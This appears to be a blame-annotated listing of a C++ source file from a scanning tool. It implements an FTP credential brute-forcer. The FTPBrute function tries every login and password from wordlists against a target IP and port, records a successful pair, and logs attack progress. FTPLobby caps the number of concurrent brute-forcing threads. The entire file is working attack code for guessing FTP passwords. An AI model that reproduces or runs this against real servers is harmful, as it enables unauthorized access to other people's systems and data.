2015-03-16 14:29:34 +00:00
|
|
|
#include "FTPAuth.h"
|
2015-03-27 10:38:38 +00:00
|
|
|
#include "FileUpdater.h"
|
2015-03-16 14:29:34 +00:00
|
|
|
|
|
|
|
bool FTPA::checkOutput(const string *buffer) {
|
2015-04-16 11:51:51 +00:00
|
|
|
if(Utils::ustrstr(*buffer, "230") != -1) {
|
2015-03-16 14:29:34 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
2015-03-23 13:54:40 +00:00
|
|
|
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
2015-03-16 14:29:34 +00:00
|
|
|
string buffer;
|
|
|
|
string lpString;
|
2015-04-04 12:43:22 +00:00
|
|
|
lopaStr lps = {"UNKNOWN", "", ""};
|
2015-03-16 14:29:34 +00:00
|
|
|
|
2015-03-22 00:43:15 +00:00
|
|
|
int res = 0;
|
2015-03-22 10:13:17 +00:00
|
|
|
int passCounter = 0;
|
2015-03-16 14:29:34 +00:00
|
|
|
|
2015-03-24 14:29:27 +00:00
|
|
|
char login[128] = {0};
|
|
|
|
char pass[32] = {0};
|
2015-04-04 07:24:31 +00:00
|
|
|
char nip[128] = { 0 };
|
2015-03-24 14:29:27 +00:00
|
|
|
|
2015-03-16 14:29:34 +00:00
|
|
|
for(int i = 0; i < MaxLogin; ++i)
|
|
|
|
{
|
|
|
|
if(!globalScanFlag) return lps;
|
2015-03-27 10:38:38 +00:00
|
|
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
2015-03-16 14:29:34 +00:00
|
|
|
if(strlen(loginLst[i]) <= 1) continue;
|
|
|
|
|
2015-03-24 14:29:27 +00:00
|
|
|
strcpy(login, loginLst[i]);
|
|
|
|
|
2015-03-16 14:29:34 +00:00
|
|
|
for(int j = 0; j < MaxPass; ++j)
|
|
|
|
{
|
|
|
|
if(!globalScanFlag) return lps;
|
2015-03-27 10:38:38 +00:00
|
|
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
2015-03-16 14:29:34 +00:00
|
|
|
if(strlen(passLst[j]) <= 1) continue;
|
|
|
|
|
2015-03-24 14:29:27 +00:00
|
|
|
strcpy(pass, passLst[j]);
|
|
|
|
|
|
|
|
lpString = string(login) + ":" + string(pass);
|
2015-03-22 00:43:15 +00:00
|
|
|
|
2015-04-04 07:24:31 +00:00
|
|
|
ZeroMemory(nip, 128);
|
|
|
|
sprintf(nip, "ftp://%s", ip);
|
|
|
|
res = Connector::nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
2015-03-22 00:43:15 +00:00
|
|
|
if (res == -2) return lps;
|
|
|
|
else if (res != -1) {
|
|
|
|
if (!globalScanFlag) return lps;
|
2015-03-24 14:29:27 +00:00
|
|
|
strcpy(lps.login, login);
|
|
|
|
strcpy(lps.pass, pass);
|
2015-03-22 00:43:15 +00:00
|
|
|
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
|
|
|
return lps;
|
|
|
|
};
|
2015-03-22 10:13:17 +00:00
|
|
|
|
|
|
|
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
2015-03-24 14:29:27 +00:00
|
|
|
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
2015-03-22 10:13:17 +00:00
|
|
|
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
|
|
|
|
|
|
|
Sleep(100);
|
2015-03-16 14:29:34 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return lps;
|
|
|
|
}
|
|
|
|
|
2015-03-23 13:54:40 +00:00
|
|
|
lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
|
2015-04-02 12:33:49 +00:00
|
|
|
if(gMaxBrutingThreads > 0) {
|
|
|
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
2015-03-16 14:29:34 +00:00
|
|
|
|
2015-04-04 12:43:22 +00:00
|
|
|
++baCount;
|
|
|
|
//BruteUtils::BConInc();
|
|
|
|
++BrutingThrds;
|
|
|
|
const lopaStr &lps = FTPBrute(ip, port, ps);
|
|
|
|
--BrutingThrds;
|
|
|
|
//BruteUtils::BConDec();
|
2015-03-16 14:29:34 +00:00
|
|
|
|
2015-04-02 12:33:49 +00:00
|
|
|
return lps;
|
|
|
|
} else {
|
2015-04-04 12:43:22 +00:00
|
|
|
lopaStr lps = {"UNKNOWN", "", ""};;
|
2015-04-02 12:33:49 +00:00
|
|
|
return lps;
|
|
|
|
}
|
2015-03-16 14:29:34 +00:00
|
|
|
}
|